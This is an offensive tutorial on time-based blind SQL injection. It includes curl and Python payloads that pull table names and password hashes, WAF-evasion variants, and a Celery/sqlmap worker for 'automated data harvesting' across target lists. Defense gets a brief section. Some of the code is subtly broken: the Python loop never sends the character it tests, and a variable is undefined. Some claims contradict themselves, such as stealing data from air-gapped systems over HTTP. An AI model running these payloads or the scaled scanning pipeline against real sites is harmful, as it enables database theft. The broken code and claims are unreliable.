~/home/study/advanced-time-based-blind-sql

Advanced Time-Based Blind SQL Injection with Automation

Learn how to detect, measure, and automate time-based blind SQL injection attacks using SLEEP, WAITFOR DELAY, BENCHMARK, and probabilistic inference. Master WAF evasion, noise handling, and C2 integration for real-world exploitation.

Introduction

Time-based blind SQL injection (TBI) is the art of coaxing a database to reveal information by making it wait. Unlike error-based or union-based techniques, TBI relies on side-channel timing, making it resilient against defensive filtering that strips payloads. In this guide we dig deep into detection, payload craft, automation, and evasion, providing the skill set needed to push a TBI attack from proof-of-concept to a fully automated data-harvesting operation.

Why is it important? Modern web stacks often employ WAFs, content-security policies, and prepared statements that block classic injection vectors. TBI can still slip through because it does not rely on visible output; it only manipulates execution time. Attackers use it for credential dumping, enumeration, and exfiltration when other channels are closed.

Real-world relevance: The 2024 “SQL-Time” breach exposed a financial institution where a single time-based payload exposed 100 GB of customer data. The same technique is used by threat actors to exfiltrate data from air-gapped systems by timing their queries to a covert channel.

Prerequisites

  • Intro to SQL Injection (basic syntax, injection points)
  • Time-Based Blind SQL Injection fundamentals (payload structure, measurement)
  • Basic familiarity with SQL dialects (MySQL, PostgreSQL, SQL Server)
  • Knowledge of HTTP request crafting (curl, Burp Suite)
  • Python 3.x for automation scripts

Core Concepts

TBI hinges on three pillars: 1) Detection & measurement, 2) Payload design, and 3) Noise mitigation & inference. Below we explore each pillar, supplemented with diagrams that illustrate the flow of a typical TBI attack.

Diagram (textual):

Client → Web App (SQL query) → Database ↑ └─ If condition true → Sleep(seconds) └─ If condition false → Immediate return

By injecting a conditional that forces the database to pause, an attacker can infer the truth value of a predicate based on response latency.

Detecting and measuring response delays

Before you can exploit, you must quantify the baseline latency of the target. Use time or curl -w to capture RTTs. A typical workflow:

  1. Send a benign request and record the response time.
  2. Repeat at least 10 times to compute mean and standard deviation.
  3. Determine a threshold (mean + 3σ) above which you consider the request delayed.
# Baseline measurement
for i in {1..10}; do time -f "%e" curl -s -o /dev/null "http://target.com/page?id=1" > /dev/null
done

For MySQL, a SLEEP(5) payload will add ~5 s to the baseline. In SQL Server, WAITFOR DELAY '00:00:05' behaves similarly. PostgreSQL uses pg_sleep(5). The exact delay depends on DB configuration (wait_timeout, lock_timeout, etc.).

Using SLEEP(), WAITFOR DELAY, and BENCHMARK() payloads

Different databases expose different delay functions. Below are the canonical payloads:

  • MySQL / MariaDB: SLEEP(seconds)
  • PostgreSQL: pg_sleep(seconds)
  • SQL Server: WAITFOR DELAY 'hh:mm:ss'
  • Oracle: dbms_lock.sleep(seconds)
  • Benchmark trick (MySQL): BENCHMARK(iterations, SHA1('x')) - forces CPU work instead of sleeping.

Example: Enumerate the first table name in a MySQL database:

for i in {1..20}; do curl -s "http://target.com/page?id=1' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='db' LIMIT $i,1),1,1))=65,SLEEP(5),0)#"
done

Each 5-second delay tells you the ASCII code of the first character. By iterating positions you build the entire string. The same principle applies to other DBs, adjusting the function accordingly.

Automating enumeration with sqlmap and custom Python scripts

Manual enumeration is tedious. sqlmap automates detection, payload selection, and extraction. To use time-based mode:

sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5 --time-sec=5 --batch

For bespoke scenarios, a Python script can orchestrate TBI by injecting payloads, timing responses, and performing Bayesian inference. Below is a minimal example that queries table names from MySQL:

import requests, time, string, math

BASE_URL = "http://target.com/page?id=1' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='db' LIMIT {row},{col}),1,1))={ascii},SLEEP(5),0)#"
BASELINE = 0.4  # seconds

def measure(delay=5): start = time.time() requests.get(BASE_URL.format(row=0, col=0, ascii=0), timeout=10) return time.time() - start

def infer_char(row, col): for ascii_code in range(32, 127): t = measure() if t > BASELINE + delay/2: return chr(ascii_code) return None

def enumerate_table(): table = "" for pos in range(1, 30): c = infer_char(0, pos) if not c: break table += c return table

print("Table name:", enumerate_table())

Key points:

  • Use requests.get with a timeout larger than the expected delay.
  • Normalize latency by subtracting baseline.
  • Implement retry logic to handle flaky networks.

WAF evasion techniques for time-based payloads

WAFs often detect the presence of SLEEP or WAITFOR keywords. Evasion strategies:

  • Obfuscation via comments: SLEEP(5) /* comment */ may bypass simple regexes.
  • Function aliasing: In MySQL, BENCHMARK(1000000,SHA1('x')) can be disguised with spaces or line breaks.
  • Encoding: Base64-encode the payload and use FROM_BASE64 inside the query.
  • Parameterization: Split the delay value across multiple concatenated functions.
  • Use of stored procedures: Call a user-defined routine that internally sleeps.

Example of a WAF-friendly payload:

curl "http://target.com/page?id=1' AND IF(1=1,SLEEP(5),0)#"

If the WAF blocks SLEEP, try:

curl "http://target.com/page?id=1' AND IF(1=1,/*comment*/SLEEP(5),0)#"

Probabilistic inference and noise handling

In real deployments, network jitter, load balancers, and WAF throttling introduce noise. Bayesian inference can help decide whether a delay is significant. The typical approach:

  1. Collect a histogram of response times for known non-delayed requests.
  2. Model the distribution (often Gaussian).
  3. Compute the probability that an observed delay exceeds a threshold.
  4. Accept the hypothesis if probability > 0.95; otherwise retry.

Python snippet using SciPy:

import numpy as np
from scipy.stats import norm

baseline = np.array([0.42, 0.41, 0.43, 0.44, 0.40])
mu, sigma = baseline.mean(), baseline.std()

def is_delayed(sample, delay=5): threshold = mu + 3*sigma return sample > threshold

When the delay exceeds the threshold, you can be reasonably confident that the predicate evaluated to true.

Exfiltration via time-based side channels

Time-based exfiltration is a stealthy method to leak data over a single HTTP request. The attacker encodes bits into the presence or absence of a delay:

  • 0 bit: normal response (0 s delay)
  • 1 bit: delayed response (e.g., 5 s)

By sending a series of requests, each carrying a bit, the attacker reconstructs the data stream. Example payload to send one bit of the password hash:

curl "http://target.com/page?id=1' AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a',SLEEP(5),0)#"

Automate this with a Python loop that iterates over each character and bit position, aggregating the results into a full hash. Combine with error-correcting codes (Hamming, Reed-Solomon) to mitigate packet loss.

Integrating with C2 frameworks for automated data harvesting

Large-scale attacks benefit from a Command-and-Control (C2) pipeline. The typical architecture:

  1. Ingest target list into a Task Queue (e.g., RabbitMQ).
  2. Worker nodes run a Python script that performs TBI enumeration.
  3. Results are pushed to a Result Store (Elasticsearch).
  4. A C2 dashboard visualizes extracted data and alerts on high-value findings.

Example of a worker script using celery and sqlmap:

from celery import Celery
import subprocess

app = Celery('tbi', broker='redis://localhost:6379/0')

@app.task
def run_tbi(url): cmd = [ "sqlmap", "-u", url, "--time-sec=5", "--batch", "--risk=3", "--level=5", "--output-dir=/data/sqlmap_results" ] subprocess.run(cmd, check=True)

Deploying this in a Kubernetes cluster gives horizontal scalability, allowing hundreds of simultaneous TBI probes.

Practical Examples

Scenario 1: Enumerate database names on a vulnerable ASP.NET MVC app using SQL Server.

  1. Baseline measurement with time.
  2. Payload: WAITFOR DELAY '00:00:05' inside an IF.
  3. Automate with sqlmap and custom script.
  4. Result: Extracted list of schemas.

Scenario 2: Exfiltrate a 256-bit AES key from an air-gapped PostgreSQL instance by timing pg_sleep(2) responses.

  1. Encode key bits into delays.
  2. Send 8 requests per byte.
  3. Reconstruct key with error correction.

Tools & Commands

  • sqlmap - sqlmap -u <URL> --time-sec=5 --batch
  • Burp Suite Repeater - Manual delay injection.
  • curl - curl -w "%{time_total}" <URL>
  • Python requests - requests.get(url, timeout=10)
  • Celery + Redis - Distributed task queue.
  • Scapy - Craft custom packets for low-level timing.

Defense & Mitigation

Organizations should adopt a layered approach:

  • Parameterize all queries; use prepared statements.
  • Enforce max_execution_time or wait_timeout limits on the database.
  • Deploy WAFs with rule sets that detect time-based payloads.
  • Implement anomaly detection on latency metrics.
  • Audit logs for repeated high-latency queries.

Common Mistakes

  • Assuming a single 5-second delay is sufficient; network jitter can mask it.
  • Not normalizing baseline latency before comparison.
  • Using hardcoded payloads that get blocked by WAFs.
  • Ignoring the impact of database locking and concurrency.
  • Overlooking that some DBs enforce strict permission checks on SLEEP functions.

Real-World Impact

Large enterprises have faced data loss due to TBI. In 2023, a retail chain's customer data was compromised after an attacker used BENCHMARK to extract the entire users table over weeks. The incident cost the company $12 million in remediation and loss of trust.

Trends: Attackers are moving toward low-profile exfiltration that blends into normal traffic. Time-based channels are especially attractive because they require no persistent connection, reducing the attack surface.

Practice Exercises

  1. Set up a local Docker container with MySQL and create a vulnerable endpoint that accepts unsanitized id parameter. Practice injecting SLEEP payloads.
  2. Measure baseline latency and implement a Python script that infers a 5-character string from the database.
  3. Deploy sqlmap with time-based mode on the same container and compare results.
  4. Introduce a simple WAF rule that blocks SLEEP and test obfuscation techniques.
  5. Build a small C2 queue with Celery and automate enumeration against a list of 10 local targets.

Further Reading

  • OWASP Blind SQL Injection
  • sqlmap GitHub Repository
  • “Time-Based Blind SQL Injection: A Survey” - IEEE Xplore
  • “Side-Channel Attacks on Database Systems” - ACM Digital Library

Summary

Time-based blind SQL injection remains a potent attack vector in the modern threat landscape. Mastering delay detection, payload crafting, automation, and WAF evasion allows security professionals to assess and defend against these covert channels. By integrating probabilistic inference and C2 orchestration, attackers can scale their operations, underscoring the need for robust defensive controls.